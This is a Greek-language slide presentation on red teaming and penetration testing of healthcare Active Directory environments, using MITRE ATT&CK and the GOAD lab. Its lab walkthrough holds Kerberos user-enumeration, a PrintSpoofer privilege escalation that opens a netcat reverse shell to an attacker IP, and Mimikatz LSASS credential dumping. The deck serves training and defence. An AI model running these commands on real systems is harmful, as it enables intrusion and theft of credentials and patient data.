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Ο ρόλος των δοκιμών διείσδυσης και της 
ομάδας στην ασφάλεια της υγειονομικής 
περίθαλψης 

 
● Οι δοκιμές διείσδυσης και η κόκκινη ομάδα είναι 

ουσιώδεις για τον εντοπισμό 
και τον μετριασμό των ευπαθειών ασφαλείας στα 
συστήματα υγειονομικής περίθαλψης. 

● Καθώς οι απειλές στον κυβερνοχώρο αυξάνονται,  
τα προληπτικά μέτρα είναι ζωτικής σημασίας  
για την προστασία των ευαίσθητων δεδομένων των 
ασθενών και των λειτουργιών της υγειονομικής 
περίθαλψης. 

● Οι προσομοιωμένες επιθέσεις βοηθούν τις 
οργανώσεις υγειονομικής περίθαλψης να αμύνονται 
ενάντια σε πραγματικές απειλές του κυβερνοχώρου. 
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Χρήση του Active Directory στον τομέα 
της υγειονομικής περίθαλψης 

 

 
● Ο ενεργός κατάλογος (AD) διαχειρίζεται ταυτότητες, ελέγχους πρόσβασης πολιτικές σε όλα τα 

διάφορα συστήματα IT υγειονομικής περίθαλψης. 

● Η AD ολοκληρώνει με κρίσιμα συστήματα υγειονομικής περίθαλψης, όπως 
ηλεκτρονικές καταγραφές ασθενών (EHR), συστήματα διαχείρισης ασθενών και 
πλατφόρμες τηλεϊατρικής. 

● Εξασφαλίζει εξορθολογισμένες και ασφαλείς λειτουργίες, διευκολύνοντας τη συμμόρφωση με 
τους κανονισμούς υγειονομικής περίθαλψης και τα πρότυπα προστασίας δεδομένων. 
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Χρήση του Active Directory στον τομέα της 
υγειονομικής περίθαλψης 

● Οι κοινές ευπάθειες της AD περιλαμβάνουν τις επιθέσεις Kerberoasting, Pass-the-Ticket και Golden Ticket. 

● Αυτές οι ευπάθειες μπορούν να οδηγήσουν σε ανεξουσιοδότητη πρόσβαση στους EHR, σε 
διαταραχές κρίσιμων λειτουργίιλων υγειονομικής περίθαλψης και σε παραβίαση του 
εμπιστευτικού χαρακτήρα των ασθενών. 

● Επιπτώσεις στον πραγματικό κόσμο: Η μη εξουσιοδοτημένη πρόσβαση σε δεδομένα 
ασθενών μπορεί να οδηγήσει σε κλοπή ταυτότητας, οικονομική απάτη και νομικές ευθύνες. 

● Παραδείγματα πραγματικών επιπτώσεων των ευπαθειών της AD σε σενάρια υγειονομικής περίθαλψης: 
● Μη εξουσιοδοτημένη πρόσβαση σε ηλεκτρονικά μητρώα υγείας (EHR): 

o Σενάριο: Οι εγκληματίες του κυβερνοχώρου εκμεταλλεύονται μια ευπάθεια της AD, όπως  

το Kerberoasting, για να αποκτήσουν το 

τα διαπιστευτήρια του προσωπικού υγειονομικής περίθαλψης που έχει πρόσβαση σε  

συστήματα ΗΦΥ. 

o Επιπτώσεις: Ανεξουσιοδότητη πρόσβαση μπορεί να οδηγήσει σε έκθεμα ευαίσθητων δεδομένων 
ασθενών, ιατρικής ιστορίας και προσωπικών δεδομένων, που οδηγεί σε παραβίαση του 
εμπιστευτικού χαρακτήρα των ασθενών, δυνητικό εκβιασμό και κλοπή ταυτότητας, και νομικές 
επιπτώσεις για τις εγκαταστάσεις υγειονομικής περίθαλψης. 

● Παραβίαση απομακρυσμένου ιατρικού εξοπλισμού: 

o Σενάριο: Η επίθεση Golden Ticket δίνει στους επιτιθέμενους διαπιστευτήρια απεριόριστης 
πρόσβασης που τους επιτρέπουν να προσεγγίσουν δικτυωμένες ιατρικές συσκευές, όπως αυτές 
που χρησιμοποιούνται στην τηλεϊατρική ή την απομακρυσμένη παρακολούθηση. 

o Επιπτώσεις: Αυτό θα μπορούσε να οδηγήσει σε λανθασμένη διάγνωση, παρεμβολές στις 
θεραπευτικές διαδικασίες ή άμεση αποτυχία της συσκευής, θέτοντας σε κίνδυνο την υγεία των 
ασθενών και οδηγώντας δυνητικά σε καταστάσεις που απειλούν τη ζωή τους.  
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Δοκιμές διείσδυσης για συστήματα 
υγειονομικής περίθαλψης 

Στόχοι: 

● Αξιολόγηση της κατάστασης ασφαλείας των συστημάτων που ολοκληρώνονται με την AD. 

● Ανάπτυξη λογισμικού προσαρμοσμένου σε περιβάλλοντα υγειονομικής περίθαλψης για τον 
εντοπισμό λανθασμένων ρυθμίσεων του συστήματος και ελαττωμάτων λογισμικού. 

● Βοηθήστε τις οργανώσεις υγειονομικής περίθαλψης να κατανοήσουν την έκθεσή τους σε 
απειλές στον κυβερνοχώρο, επιτρέποντας προληπτικές βελτιώσεις. 
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Αναφορά και χρησιμότητα των ευρημάτων 

 
● Λεπτομερής αναφορά των δοκιμών διείσδυσης για την τεκμηρίωση των 

ευπαθειών, των συστημάτων που εκμεταλλεύτηκαν και των δυνητικών 
παραβιάσεων δεδομένων. 

● Αξιοποίηση των αναφορών για τη βελτίωση των στρατηγικών ανίχνευσης και 
απόκρισης στο πλαίσιο των επιχειρήσεων υγειονομικής περίθαλψης. 

● Οι αξιοποιήσιμες πληροφορίες από τις αναφορές των δοκιμών διείσδυσης βοηθούν 
στην ιεράρχηση των ενημερώσεων ασφαλείας και της εκπαίδευσης του προσωπικού 
για τον μετριασμό των απειλών. 
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Απειλές Active Directory:  
MITRE ATT&CK 
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MITRE ATT&CK: Πηγές δεδομένων 
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MITRE ATT&CK: Αίτηση διαπιστευτηρίων Active 
Directory
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MITRE ATT&CK: Πρόσβαση σε αντικείμενα Active 
Directory 



12

MITRE ATT&CK: Δημιουργία και διαγραφή 
αντικειμένων ενεργού κατάλογου
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MITRE ATT&CK: Τροποποίηση αντικειμένου ενεργού 
κατάλογου  
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MITRE ATT&CK: Αναζήτηση χαρακτηριστικών και 
περιγραφών συγκεκριμένων επιθέσεων 
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MITRE ATT&CK: Αναζήτηση χαρακτηριστικών και 
περιγραφών συγκεκριμένων επιθέσεων
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MITRE ATT&CK: Αναζήτηση χαρακτηριστικών και 
περιγραφών συγκεκριμένων επιθέσεων



Κόκκινη Ομάδα

o1. Τι είναι η κόκκινη ομάδα 

  o2.  Κόκκινη ομάδα vs δοκιμές διείσδυσης 

o3. Κύκλος ζωής επίθεσης 

o4. MITRE ATT&CK 

  o5. Εισαγωγή στο ατομικό κόκκινο 
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Τι είναι η κόκκινη ομάδα  

Λειτουργίες της Κόκκινης Ομάδας 

 
o Σκοπός των λειτουργικών της Κόκκινης Ομάδας: Προσομοιώνουμε 

επιθέσεις πλήρους φάσματος για δοκιμές ασφάλειας σε όλη την ψηφιακή 
υποδομή, τους υπαλλήλους, τις εφαρμογές και τη φυσική ασφάλεια. 

o Προσομοίωση πραγματικών αντιπάλων: Αναπαραγωγή τεχνικών που 
χρησιμοποιούνται από πραγματικούς αντιπάλους για την αποκάλυψη 
ευπαθειών και την αξιολόγηση των αμυντικών δυνατοτήτων της εταιρείας. 

o Πλήρης κύκλος ζωής επίθεσης: Οι λειτουργίες καλύπτουν ολόκληρο τον 
κύκλο ζωής μιας επίθεσης, παρέχοντας μια ολοκληρωμένη αξιολόγηση 
της ετοιμότητας ασφάλειας. 

o Αποκαλύπτοντας ευπάθειες: Εντοπίζει πολλαπλούς φορείς επίθεσης 
και αδυναμίες που συνήθως δεν εντοπίζονται στις τυπικές δοκιμές 
διείσδυσης. 

 

 

 

 

 

 

 

 

 

 

 

 



 

Τι είναι η κόκκινη ομάδα 

Επίδραση και ενσωμάτωση με την μπλε 
ομάδα 

o Εφαρμόσιμα αποτελέσματα: Τα ευρήματα της Κόκκινης Ομάδας 
χρησιμοποιούνται για τη βελτίωση των μέτρων ασφαλείας και την 
προετοιμασία για δυνητικές απειλές. 

o Συνεργασία μπλε ομάδας: 

o Ρόλος της μπλε ομάδας: Επαγγελματίες ασφαλείας επιφορτισμένοι με τον εντοπισμό 
ευπαθειών, την αποκατάσταση και την επαλήθευση της αποτελεσματικότητας. 

o Χρησιμοποιώντας τα αποτελέσματα: Ανάπτυξη υπογραφών για κακόβουλο λογισμικό, 

υλοποίηση διασφαλίσεων και 
ενίσχυση της ασφάλειας των υποδομών. 

o Εκπαίδευση και βελτίωση συστήματος: 

o Εκπαιδεύστε τους υπαλλήλους να αντιστέκονται στην κοινωνική μηχανική. 

o Ενημερώσεις για διόρθωση ασφαλείας που εντοπίστηκαν κατά τη διάρκεια των 

λειτουργικών δοκιμών. 

o Προσομοίωση APT: Οι κόκκινες ομάδες προσομοιώνουν τεχνικές προηγμένων επίμονων 
απειλών για δοκιμές μακροπρόθεσμων αμυντικών μηχανισμών . 
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Κόκκινη ομάδα vs Δοκιμές διείσδυσης

Δοκιμές διείσδυσης Κόκκινη Ομάδα 

Καθορισμένο πεδίο εφαρμογής Χωρίς καθορισμένο πεδίο εφαρμογής 

Χρησιμοποιείται για τον εντοπισμό και την 

εκμετάλλευση ευπάθειας 

Εξομοιώνει τη συμπεριφορά των αντιπάλων 

Παρέχει αναφορά ευρημάτων που 
χρησιμοποιούνται κατά συνέπεια από τις 
εταιρείες για να ενημερώσουν, να 
σκληρύνουν και να ασφαλίσουν τις υποδομές 
τους. 

Χρησιμοποιείται για την αξιολόγηση της 
ανθεκτικότητας μιας οργάνωσης έναντι 
επιθέσεων αντιπάλων. 

Προληπτική σε αντίθεση με την ανιχνευτική. Οι 
δοκιμές διείσδυσης είναι χρήσιμες για τον 
εντοπισμό Ευπαθειών και απειλών, ωστόσο δεν 
παρέχουν αξιοποιήσιμα αποτελέσματα που 
μπορούν να χρησιμοποιηθούν για την 
προληπτική ανίχνευση απειλών στο μέλλον. 

Παρέχει αξιοποιήσιμα αποτελέσματα που 
μπορούν να χρησιμοποιηθούν για την 
ανίχνευση. 
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Κύκλος ζωής επίθεσης

Στάδια μιας Τυπικής Κυβερνοεπίθεσης:
Αρχική Αναγνώριση (Initial Recon) & Εντοπισμός εκμεταλλεύσιμων ευπαθειών στον στόχο - Αρχική Διείσδυση 
(Initial Compromise) & Απόκτηση αρχικής πρόσβασης στο περιβάλλον του στόχου. - Εδραίωση Πρόσβασης 
(Establish Foothold) & Ενίσχυση της παρουσίας εντός του στόχου για να διατηρηθεί η πρόσβαση. - Αναβάθμιση 
Δικαιωμάτων (Escalate Privileges) & Απόκτηση διαπιστευτηρίων χρηστών με αυξημένα προνόμια. - Εσωτερική 
Αναγνώριση (Internal Recon) & Εντοπισμός κρίσιμων δεδομένων εντός του συστήματος. - Ολοκλήρωση 
Αποστολής (Complete Mission) & Συλλογή, συσκευασία και κλοπή των δεδομένων-στόχων.
Παράπλευρες Ενέργειες: Διατήρηση Παρουσίας (Maintain Presence) & Παραμονή στο σύστημα για μακροχρόνια 
πρόσβαση.
Πλευρική Κίνηση (Lateral Movement) & Μετακίνηση εντός του δικτύου για προσβολή πρόσθετων συστημάτων ή 
λογαριασμών.
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Κύκλος ζωής επίθεσης-Αρχική αναγνώριση

Κύκλος Ζωής Επίθεσης – Αρχική Αναγνώριση
Συλλογή πληροφοριών από ανοικτές πηγές
Αναγνώριση δικτύου και εφαρμογών
Εντοπισμός δυνατοτήτων απομακρυσμένης πρόσβασης 
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Κύκλος ζωής επίθεσης - Αρχική  υποκλοπή

Κοινωνική μηχανική  
Επίθεση μέσω διαδικτύου  
Αξιοποίηση παρόχου υπηρεσιών



24

Κύκλος ζωής επίθεσης-Εγκαθίδρυση 
ερεισμάτων

Κερκόπορτες (Backdoors)  
Υπονόμευση απομακρυσμένης πρόσβασης
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Κύκλος ζωής επίθεσης- Κλιμάκωση 
προνομίων

Συλλογή διαπιστευτηρίων
Σπάσιμο κωδικών πρόσβασης
Τεχνική Pass-the-Hash
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Κύκλος ζωής επίθεσης - Εσωτερική 
αναπαράσταση

Αναγνώριση κρίσιμων συστημάτων  
Καταγραφή/Απαρίθμηση συστημάτων  
Καταγραφή/Απαρίθμηση λογαριασμών και κωδικών πρόσβασης
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Κύκλος ζωής επίθεσης- Πλευρική  κίνηση

Απομακρυσμένη εκτέλεση εντολών  
Εργαλεία απομακρυσμένης διαχείρισης
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Κύκλος ζωής επίθεσης - Διατήρηση 
παρουσίας

Έλεγχος και διοίκηση 
Υπονόμευση απομακρυσμένης πρόσβασης
Κατάχρηση λογαριασμού
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Κύκλος ζωής επίθεσης - Ολοκλήρωση 
αποστολής

Προετοιμασία δεδομένων
Εξαγωγή δεδομένων
Τροποποίηση δεδομένων
Καταστροφή δεδομένων
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Κύκλος ζωής επίθεσης - APT32

1. Αρχική Αναγνώριση: Συλλογή ονομάτων / email για χρήση σε spear phishing
2. Αρχική Διείσδυση: Phishing email με ActiveMime συνημμένο
3.Εδραίωση Πρόσβασης: Χρήση εργαλείων όπως: WINDSHIELD, KOMPROGO, SOUNDBITE, PHOREAL
4. Αναβάθμιση Δικαιωμάτων: Εκμετάλλευση ευπάθειας CVE-2016-7255, Χρήση εργαλείου MIMIKATZ
Διατήρηση παρουσίας: Προγραμματισμένες Εργασίες,Cobalt Strike BEACON
5. Εσωτερική Αναγνώριση: SysAdmin Utilities, PowerShell Εντολές
Πλευρική κίνηση:
Χρήση τοπικών διαχειριστικών λογαριασμών
6. Ολοκλήρωση Αποστολής: Πρόσβαση σε: VPN, Email, Αρχεία, Δεδομένα περιήγησης
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Ενεργός κατάλογος 
περιβάλλοντος κυβερνοχώρου-
GOAD 
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Δομή AD 

 
Η σειρά AD cyber αποτελείται στην πραγματικότητα από  

πέντε εικονικά μηχανήματα (εικονικά μηχανήματα): 

• kingslanding: DC01 σε Windows Server 2019 (με 
απενεργοποιημένο το windefender από προεπιλογή) 
• winterfell: DC02 που εκτελείται σε Windows 
Server 2019 (απενεργοποιημένο το windefender από 
προεπιλογή) 
• castelblack: (με απενεργοποιημένο τον windefender 
από προεπιλογή) 
• meereen: (με απενεργοποιημένο το windefender 
από προεπιλογή) 
• braavos: SRV03 που τρέχει σε Windows Server 2016 (με 
windefender απενεργοποιημένη από προεπιλογή) 
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AD Περιβάλλον-Προσαρμοσμένο GOAD 
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Κύκλος ζωής επίθεσης στο GOAD 

• Τακτικές κοινωνικής μηχανικής που χρησιμοποιούνται για την παραβίαση  
λογαριασμού/απολογισμού VPN 

• Αναγνώριση χρήστη και κεντρικού υπολογιστή για τη συλλογή πληροφοριών 

• Διαδικασία εγκατάστασης και εκτέλεσης εφαρμογών σε 
περιβάλλον παραγωγής σε εξυπηρετητή Castelblack για 
απομακρυσμένο έλεγχο 

• Δημιουργία μυστικών μετοχών δικτύου για την παράδοση κακόβουλου λογισμικού 

• Κλιμάκωση προνομίων μέσω ευπάθειας του PrintSpoofer 

• Εξαγωγή μνήμης με χρήση του Mimikatz για την απόκτηση  

ευαίσθητων διαπιστευτηρίων 



 

 
Κύκλος ζωής επίθεσης στο GOAD- 
Αρχική αναγνώριση 

 



 

 
Κύκλος ζωής επίθεσης στο GOAD- Αρχική 
αναγνώριση 

 

 

 
 



 

 
Κύκλος ζωής επίθεσης στο GOAD- Αρχική 
αναγνώριση 

 



 

 
Κύκλος ζωής επίθεσης στο GOAD- Αρχική 
αναγνώριση 
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Κύκλος ζωής επίθεσης στο GOAD- Αρχική 
αναγνώριση 

 

 

Απαρίθμηση ονόματος χρήστη με χρήση Kerberos: 
nmap -T2 -p 88 --script=krb5-enum-users --script-args ="krb5 

enum-users.realm ='north.sevenkingdoms.local',  

userdb=got_users.txt" 192.168.56.11 
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Κύκλος ζωής επίθεσης στο GOAD- 
Δημιουργία ερείσματος-αρχική 
παραβίαση-IIS Server 

 

 

 

 
Ανοίγει το δίκτυο για επιτιθέμενους και συνδέεται από τον υπολογιστή-θύμα 
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Κύκλος ζωής επίθεσης στο GOAD- 
Δημιουργία ερείσματος-αρχική 
παραβίαση-IIS Server 

 

 

 

 
Ανοίγει το δίκτυο για επιτιθέμενους και συνδέεται από τον υπολογιστή-θύμα 
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Κύκλος ζωής επίθεσης στο GOAD- 
Δημιουργία ερείσματος-αρχική 
παραβίαση-IIS Server 

 
 

Εργαλεία επιτιθέμενων σε δίκτυο, όπως winpeas, printspoofer κ.λπ. 
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Κύκλος ζωής επίθεσης στο GOAD- 
Δημιουργία ερείσματος-αρχική 
παραβίαση-IIS Server 

 
 

 
Τοπική κλιμάκωση προνομίων αντίγραφο 

X:\nc.exe C:\tmp\nc.exe rlwrap nc -lvnp 1337 
X:\PrintSpoofer.exe -c "c:\tmp\nc.exe 10.0.8.2 1337 -e cmd" 
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Κύκλος ζωής επίθεσης στο GOAD- 
Εγκαθίδρυση ερείσματος-Κλιμάκωση 
προνομίων 

 

 
Αποσπάστε τη μνήμη Dump της διαδικασίας LSASS και 

κατευθύνετε το Mimikatz στον κεντρικό υπολογιστή. 
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Κύκλος ζωής επίθεσης στο GOAD- 
Εγκαθίδρυση ερείσματος-Κλιμάκωση 
προνομίων 

 
    net use Q: \\live.sysinternals\tools  
 

 
net use Q: \\live.sysinternals\tools  

Εξαγωγή μνήμης dmp και λήψη κωδικών πρόσβασης εκτός σύνδεσης. 

 
Εναλλακτικά, χρησιμοποιήστε το share του χρήστη System στο μηχανήμα 

επιτιθέμενου και κατευθύνετε το Mimikatz απευθείας στον υπολογιστή του 

θύματος. 
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Post Exploitation - Εσωτερική 
αναγνώριση: BloodHound  
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MITRE ATT&CK & εξερεύνηση ομάδας 
ατομικού κόκκινου 



 

Σας ευχαριστώ 
για την προσοχή 
σας 

 

 
Παρουσίαση από: 

Χρήστος Γρηγοριάδης  




